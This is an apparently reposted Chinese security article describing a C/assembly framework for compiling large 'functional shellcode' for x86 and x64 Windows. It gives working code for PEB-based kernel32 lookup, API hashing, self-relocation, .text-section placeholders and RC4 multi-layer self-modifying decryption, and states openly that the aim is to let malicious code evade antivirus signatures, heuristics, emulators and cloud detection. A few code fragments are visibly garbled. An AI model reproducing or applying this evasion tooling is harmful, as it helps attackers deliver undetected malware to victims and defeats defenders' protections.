一 前言
本文介紹的技術在實戰(zhàn)中應用已久,但是由于一些原因并沒有做文檔化。本文對關鍵點給出了代碼實現(xiàn),加入了一些筆者的新的理解。
測試代碼的目錄結構如下:
test1: 32位 64位的shellcode和相應的測試工具 test2: x86 c2shellcode框架 test3: dup指令占位.text段的shellcode編寫技巧 test4: 實現(xiàn)shellcode的二次SMC test5: x64 c2shellcode框架
二 功能性shellcode的概念
這是一個攻防對抗很激烈的年代,殺毒軟件的查殺技術是立體的,特征碼、云、主防、啟發(fā)、虛擬機。如果惡意代碼還只局限在必須依賴固定的PE格式,無 法快速變異和免殺。這要求惡意代碼經(jīng)過簡單的處理就應該能躲過靜態(tài)檢測,不依賴于windows本身的loader可以加載運行。而shellcode正 好符合這種形式。本文所說的shellcode并不是傳統(tǒng)意義上對長度容易產(chǎn)生苛刻要求的在漏洞利用場景里面使用的shellcode,而是一段可能源代 碼有幾千或者上萬行,但是CopyMemory出來EIP指向過去之后就可以加載運行的二進制,稱之為功能性shellcode。很明顯,由于代碼行數(shù)或 者對于功能性的要求,使用純匯編來進行功能性shellcode的編寫是很不劃算的。
三 高級語言的選擇
1 使用delphi編寫功能性shellcode
目前流行的編寫功能性shellcode的編譯器主要是delphi跟vc。簡單介紹一下delphi,由于Borland編譯器的原因,編譯的時 候字符串常量不是放在數(shù)據(jù)段里面,而是放到所在函數(shù)的后面,在處理字符串的時候比VC方便了不少,并且delphi支持X64內(nèi)聯(lián)匯編,寫起X64的 shellcode更是如虎添翼。圈內(nèi)比較早的前輩如Anskya(女王) xfish一般都是用delphi來進行功能性shellcode的編寫。
2 使用VC編寫功能性shellcode
在test1目錄中,有兩段二進制代碼:32shellcode.bin、 64shellcode.bin。分別是兩段可以運行于x86和x64上面的shellcode?梢源蜷_debugview工具進行l(wèi)og捕捉。使用下面的命令測試兩段shellcode。
32runbin.exe 32shellcode.bin
64runbin.exe 64shellcode.bin
如果是x64的系統(tǒng),32shellcode.bin也將很健壯的運行在wow64上面。
接下來著重介紹VC編寫功能性shellcode。
四 x86 c2shellcode 框架
1 c2shellcode框架簡介
這是一個使用VS2008生成的編寫32位shellcode的框架。使用它可以很方便的在shellcode中調(diào)用native api和ring3 api。在注釋掉HHL_DEBUG開關之后,運行生成的EXE就可以生成shellcode。
我們來看一下這個工程。
void main() { #ifdef HHL_DEBUG InitApiHashToStruct(); ShellCode_Start(); #else InitApiHashToStruct(); #endif }
Main函數(shù)很簡單,定義了一個調(diào)試開關。這個調(diào)試開關影響ShellData這個全局結構體。當注釋掉這個開關,ShellData將附著在 shellcode的尾部。開啟這個開關ShellData將存在于.data段,方便使用VC的IDE對shellcode進行C源代碼級別的調(diào)試。
2 開啟HHL_DEBUG調(diào)試開關之后的函數(shù)執(zhí)行的流程
2.1填充函數(shù)hash到ShellData結構體當中
首先是InitApiHashToStruct這個函數(shù)。這里是一個比較傳統(tǒng)的移位生成hash的函數(shù),可以調(diào)用GetRolHash直接傳遞字符串來進行hash生成,也可以批量直接將hash填充到ShellData結構體當中。
DWORD GetRolHash(char *lpszBuffer) { DWORD dwHash = 0; while(*lpszBuffer) { dwHash = ( (dwHash <<25 ) (dwHash>>7) ); dwHash = dwHash+*lpszBuffer; lpszBuffer++; } return dwHash; }
2.2根據(jù)函數(shù)hash掃描導出表獲取函數(shù)地址
ShellCode_Start函數(shù)直接跳轉(zhuǎn)到ShellCodeEntry并且開始執(zhí)行shellcode。
__declspec(naked) void ShellCode_Start() { __asm { jmp ShellCodeEntry } }
請注意函數(shù)ShellCodeEntry中定義局部字符串的方式,使用IDA觀察一下。
PVOID ShellCodeEntry() { char hhl[]={'h','e','l','l','o','g','i','r','l',0}; #ifndef HHL_DEBUG DWORD offset=ReleaseRebaseShellCode(); PShellData lpData= (PShellData)(offset + (DWORD)Shellcode_Final_End); #endif GetRing3ApiAddr(); lpData->xOutputDebugStringA(hhl); return (PVOID)lpData; }
可以看到,通過這種方式定義的字符串是在.text段被通過壓棧的方式進行的參數(shù)傳遞,而不是放在.data段。
GetRing3ApiAddr這個函數(shù)主要負責
1 通過get_k32base_peb()函數(shù)獲取到kernel32基地址。
2 通過get_ntdllbase_peb()函數(shù)獲取ntdll的基地址。或者直接使用LoadLibrary函數(shù)將ntdll裝載進來也可以。
3 獲取到loadlibrary和getprocaddress函數(shù)的地址。
4 加載其他必須的模塊,如paspi advapi32等模塊獲取基地址。
5 傳遞指定函數(shù)的hash和指定模塊的基地址給Hash_GetProcAddress函數(shù),通過解析導出表,獲取指定函數(shù)的地址,然后填充到ShellData結構體當中。
__declspec(naked) DWORD get_k32base_peb() { __asm { mov eax, fs:[030h] test eax,eax js finished mov eax, [eax + 0ch] mov eax, [eax + 14h] mov eax, [eax] mov eax, [eax] mov eax, [eax + 10h] finished: ret } }
這段代碼可以在winxp – win8.1 上面比較通用的獲取kernel32的基地址。
2.3傳遞相關參數(shù),調(diào)用函數(shù)地址實現(xiàn)相應功能。
最后調(diào)用了OutPutDebugStringA進行一個字符串輸出的shellcode的測試。
lpData->xOutputDebugStringA(hhl);
3 屏蔽HHL_DEBUG調(diào)試開關之后的函數(shù)執(zhí)行的流程。
#ifndef HHL_DEBUG dwSize = (DWORD)Shellcode_Final_End - (DWORD)ShellCode_Start; dwShellCodeSize = dwSize + sizeof(TShellData); lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwShellCodeSize); if(lpBuffer) { CopyMemory(lpBuffer,ShellCode_Start,dwSize); CopyMemory(lpBuffer+dwSize,&ShellData,sizeof(TShellData)); hFile = CreateFileA("GetRing3ApiAddr.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwShellCodeSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); } #endif
可以看到注釋掉HHL_DEBUG開關之后我們只是將指定的內(nèi)存區(qū)域拷貝了出來。但是我們?nèi)绾未_定要拷貝哪段區(qū)域呢。
4 如何確定Shellcode的start和end
將生成的PE文件拖入到IDA當中,可以比較明顯的看到相關二進制代碼的起始和結束地址
只需要拷貝ShellCode_Start到InitApiHashToStruct函數(shù)結束這之間的二進制就是所需要的shellcode。
5 c2shellcode注意點小結
1 涉及到的與跳轉(zhuǎn)有關的指令要確保是相對跳轉(zhuǎn), 2 字符串要避免存放在.data段。 3 要合理處理全局變量。
在c2shellcode框架里全局變量是存放在TShellData里的,然后通過重定位,使用lpData這個指針進行索引供 shellcode進行調(diào)用。在索引TShellData的時候需要進行重定位,進行重定位的函數(shù)是ReleaseRebaseShellCode。
DWORD ReleaseRebaseShellCode() { DWORD dwOffset; __asm { call GetEIP GetEIP: pop eax sub eax, offset GetEIP mov dwOffset, eax } return dwOffset; }
指針通過加上相關偏移來索引到TShellData進行用來存儲shellcode的全局變量。
PShellData lpData= (PShellData)(offset + (DWORD)Shellcode_Final_End);
6 使用高級語言編寫shellcode的優(yōu)點
使用高級語言編寫shellcode的好處就是不需要關心堆棧平衡,并且在生成shellcode的時候可以使用編譯優(yōu)化選項來減少shellcode的大小。
調(diào)試的時候也擁有無比強大的優(yōu)勢,只需要關心惡意代碼的功能實現(xiàn)就好了,無需再去關心一些瑣碎的細節(jié)。比方說函數(shù)地址能否正確獲取等等,源代碼的可 讀性也大大增強。下圖展示的是加載上符號表之后在VC的IDE中進行的基于C源代碼的shellcode調(diào)試,可以一目了然的看到結構體中的函數(shù)地址是否 已經(jīng)被正確的填充了。
7 C call ASM 和dup指令占位text段的shellcode編寫技巧
Test2中的c2shellcode框架是把全局結構體附著在了shellcode尾部,但這不是必須的。VC的編譯器允許asm call c 和c call asm,這個功能支持32位 和 64位平臺,相關代碼在test3目錄。
.386 .model flat, c .code public AsmShellData public AsmChar public hellohhl AsmShellData proc byte 2000 dup (8) AsmShellData endp AsmChar proc byte 2000 dup (6) AsmChar endp hellohhl proc sztext db 'hellohhl',0 hellohhl endp end
這是相應的匯編代碼。
AsmShellData中使用dup指令對.text段進行了占位,占位了2000個字節(jié)。
這里不推薦使用0進行占位,因為這在obj文件鏈接的時候會額外多出一個.bss段。0代表沒有初始化,.bss段專門用來存儲沒有初始化的數(shù)據(jù)。
可以看到ASM文件中新導出了幾個函數(shù)。
AsmShellData dup指令占位用來存儲shellcode的全局變量。 AsmChar dup指令占位用來存儲shellcode的全局字符串。 Hellohhl 這個函數(shù)用來對shellcode的結束做一個標記。
注意觀察新定義了兩個宏。
#define shellcode_final_end hellohhl #define shellcode_final_start ShellCode_Start
為什么這么定義呢。載入IDA。
可以很清楚的看到shellcode的start和end。只需要將shellcode_start到hellohhl這段代碼拷貝出來就是shellcode了。
#ifndef HHL_DEBUG b1=VirtualProtect(AsmShellData,sizeof(TShellData),PAGE_EXECUTE_READWRITE,&dwOldProtect); CopyMemory(AsmShellData,&ShellData,sizeof(TShellData)); dwSize = (DWORD)shellcode_final_end - (DWORD)shellcode_final_start; lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwSize); if(lpBuffer) { CopyMemory(lpBuffer,shellcode_final_start,dwSize); hFile = CreateFileA("hhlsh.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); } #endife_Start
由于使用dup指令占位AsmShellData是位于.text段上,需要先使用VirtualProtect來改變內(nèi)存屬性,然后將全局變量拷貝進這段空間,依然需要有重定位的代碼,只是這回將指針指向AsmShellData就可以了。
#ifndef HHL_DEBUG DWORD offset=ReleaseRebaseShellCode(); PShellData lpData= (PShellData)((DWORD)AsmShellData+offset); #endif
可以看到只分配了一次內(nèi)存,不需要再把ShellData這個結構體拷貝到shellcode的尾部了。
8 在shellcode中實現(xiàn)多次SMC
你可能發(fā)現(xiàn),shellcode從一開始就是基于SMC技術的。一大片代碼段,存儲著hash,然后這片存儲著hash的代碼段會在運行過程中自修改成函數(shù)地址,但是可能你對單次SMC的技術并不完全滿意。
我并不打算使用傳統(tǒng)的xor加密方式讓shellcode進行自解密。這次我們使用標準的RC4讓shellcode自解密,這個工程在test4 目錄,你可以觀察一下如何向c2shellcode里面添加代碼。如果你愿意,可以設定一些條件寫一個循環(huán)讓shellcode進行逐4字節(jié)解密,相信這 會提高一些逆向分析的門檻。
在shellcode_ntapi_utility.h頭文件里面我們新添加了兩個RC4加密解密的函數(shù)供shellcode調(diào)用。
我們以hellogirl為密鑰,在生成shellcode的時候直接將hash區(qū)域給加密了。
而在shellcode開始執(zhí)行的時候又逐條將hash區(qū)域解密,然后hash區(qū)域再一次進行SMC還原成原始的API地址。
執(zhí)行runbin.exe hhlsh.bin shellcode使用RC4進行完自解密之后 熟悉的字符串再次從debugview中輸出。
相關代碼在test4目錄,這里就不再詳細分析了。
五 x64 c2shellcode 框架
我不建議把32位的工程和64位的工程通過預處理指令混合在同一個工程里面。
64位的c2shellcode位于test5目錄當中,與32位編寫shellcode還是有一些區(qū)別的。
我們依然從main函數(shù)開始介紹一下x64下面的c2shellcode的框架。
void main() { #ifdef HHL_DEBUG InitApiHashToStruct(); AlignRSPAndCallShEntry(); #else InitApiHashToStruct(); #endif }
InitApiHashToStruct這個函數(shù)跟32位的c2shellcode框架一樣負責填充hash到ShellData結構體中。
而shellcode 的entry函數(shù)是一個由ASM導出的函數(shù)。
先來看一下asm文件里面的代碼,AlignRSPAndCallShEntry函數(shù)負責做一個16位的對齊,否則一旦調(diào)用128位的XMM寄存器,程序會Crash。在做好對齊工作之后直接開始執(zhí)行64位shellcode。
EXTRN ShellCode_Entry:PROC ;this function is in c PUBLIC AlignRSPAndCallShEntry AlignRSPAndCallShEntry PROC push rsi mov rsi, rsp and rsp, 0FFFFFFFFFFFFFFF0h sub rsp, 020h call ShellCode_Entry mov rsp, rsi pop rsi ret AlignRSPAndCallShEntry ENDP
你可以看到在AlignRSPAndCallShEntry函數(shù)中借助于ASM CALL C我們又回到了C函數(shù)ShellCode_Entry中開始執(zhí)行代碼。
PVOID ShellCode_Entry() { char hhl[]={'h','e','l','l','o','h','h','l',0}; #ifndef HHL_DEBUG PShellData lpData= (PShellData)((ULONG64)Shellcode_Final_End) #endif GetRing3ApiAddr(); lpData->xOutputDebugStringA(hhl); return (PVOID)lpData; }
64位上面我們還是需要獲取kernel32的基地址然后解析導出表獲取相關的函數(shù)的地址。
PUBLIC get_kernel32_peb_64 get_kernel32_peb_64 PROC mov rax,30h mov rax,gs:[rax] ; mov rax,[rax+60h] ; mov rax, [rax+18h] ; mov rax, [rax+10h] ; mov rax,[rax] ; mov rax,[rax] ; mov rax,[rax+30h] ;DllBase ret get_kernel32_peb_64 ENDP
上面的代碼可以比較通用的在X64 win7-win8.1的系統(tǒng)上面取到kernel32基地址。
在去掉HHL_DEBUG開關正式生成shellcode的時候我們依然需要重定位,由于64位處理器下面RIP相對尋址的緣故只需使用shellcode的end區(qū)域就可以確定作為全局變量的ShellData了。
PShellData lpData= (PShellData)((ULONG64)Shellcode_Final_End);
生成shellcode的時候我們只需要將指定區(qū)域的二進制拷貝出來就是shellcode。在這里我們依然使用ShellData附著在在shellcode尾部的方法處理全局變量,如果你愿意,依然可以使用dup指令占位text段的方法來進行全局變量的處理。
dwSize = (ULONG64)Shellcode_Final_End - (ULONG64)Shellcode_Final_Start; dwShellCodeSize = dwSize + sizeof(TShellData); lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwShellCodeSize); if(lpBuffer) { CopyMemory(lpBuffer,Shellcode_Final_Start,dwSize); CopyMemory(lpBuffer+dwSize,&ShellData,sizeof(TShellData)); hFile = CreateFileA("64shellcode.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwShellCodeSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); }e_Final_End);
依然上IDA的截圖。
PUBLIC MyShellCodeFinalEnd MyShellCodeFinalEnd PROC xor rax,rax ret MyShellCodeFinalEnd ENDP END
可以看到位于ShellCode_Start和MyShellcodeFinalEnd之間的二進制就是shellcode了。
六 小結
如果你能把c2shellcode看完的話,就會覺得其實c2shellcode并不是什么新奇的東西。只是借助編譯器的一些特性(比方說內(nèi)聯(lián)匯編 dup指令占位text段)幫忙把字符串 全局變量 shellcode的start和end做了一些比較方便的處理。
什么是shellcode,代碼也好數(shù)據(jù)也好只要是與位置無關的二進制就都是shellcode。不管你用什么編譯器,LCC也好delphi的編譯器也好,VC的編譯器也好,只要出來的二進制與位置無關或者通過后期處理與位置無關的二進制就是shellcode。
功能性shellcode的編寫主要還是用來對抗殺毒軟件進行快速免殺的。
惡意代碼封裝成shellcode 對抗特征碼和云 代碼自修改技術多層SMC 對抗啟發(fā)和虛擬機和云 random代碼段和PE結構。 對抗殺軟PE結構查殺和云 白名單技術 對抗國外殺軟主防
1 關于多層SMC
因為存儲這API地址的hash區(qū)域(ShellData)需要經(jīng)過多次解密(密鑰)才能還原出真實的API地址。并且惡意代碼的api地址全都從 ShellData區(qū)域引出,我們可以很輕松的將密鑰寫入一個注冊表鍵值或者bin文件亦或者從網(wǎng)絡上收包來接收這個用于SMC的密鑰,殺軟的虛擬機根本 無從模擬我們惡意代碼的API調(diào)用。
2 關于random代碼段和PE結構。
現(xiàn)有的方法如使用下面的指令。
#pragma code_seg(push,r2,".test") Some your backdoor code #pragma code_seg(pop,r2)
把自己的惡意代碼添加到一個.test段中或者使用下面的合并區(qū)段的指令。
#pragma comment(linker, "/MERGE:.rdata=.data") //把rdata區(qū)段合并到data區(qū)段里 #pragma comment(linker, "/MERGE:.text=.data") //把text區(qū)段合并到data區(qū)段里 #pragma comment(linker, "/MERGE:.reloc=.data" //把reloc區(qū)段合并到data區(qū)段里
很容易就被判定PE是被人工修飾過的,會被啟發(fā)殺到PE結構。
使用dup指令占位.text段,配合上SMC,幾乎可以控制惡意代碼的每一個字節(jié)。
七 致謝
安全這個圈子還是比較奇怪的,像wowocock,tombkeeper,heige三名前輩都是學醫(yī)出身,但是現(xiàn)在卻分屬于安全下面的三個不同的 分支領域win內(nèi)核,二進制漏洞攻防,web安全。我是日語翻譯出身。特別感謝xfish和Sandman在我2012年獲得的第一份工作里面對我的幫 助,你們對我的幫助是很難言喻的,從那個時候我才正式進入2進制攻防這個領域吧,在我后來很多地方有所領悟的時候就忽然能想起你們的只言片語。特別感謝我 上家公司的一起共事的同事,景杰、濤哥、桐哥,總是在我請教問題的時候能夠抽出時間給予我耐心的解答,祝愿濤哥和桐哥早日找到媳婦。感謝我的前 leader,一上班就換上鞋拖讓我看到了技術人員的本色。也特別感謝現(xiàn)任的leader,給創(chuàng)造了一個相對寬松的安全研究環(huán)境。
代碼鏈接:
http://pan.baidu.com/s/1pJkJhTD
[作者/天融信阿爾法實驗室李明政,轉(zhuǎn)載須注明來自FreeBuf黑客與極客]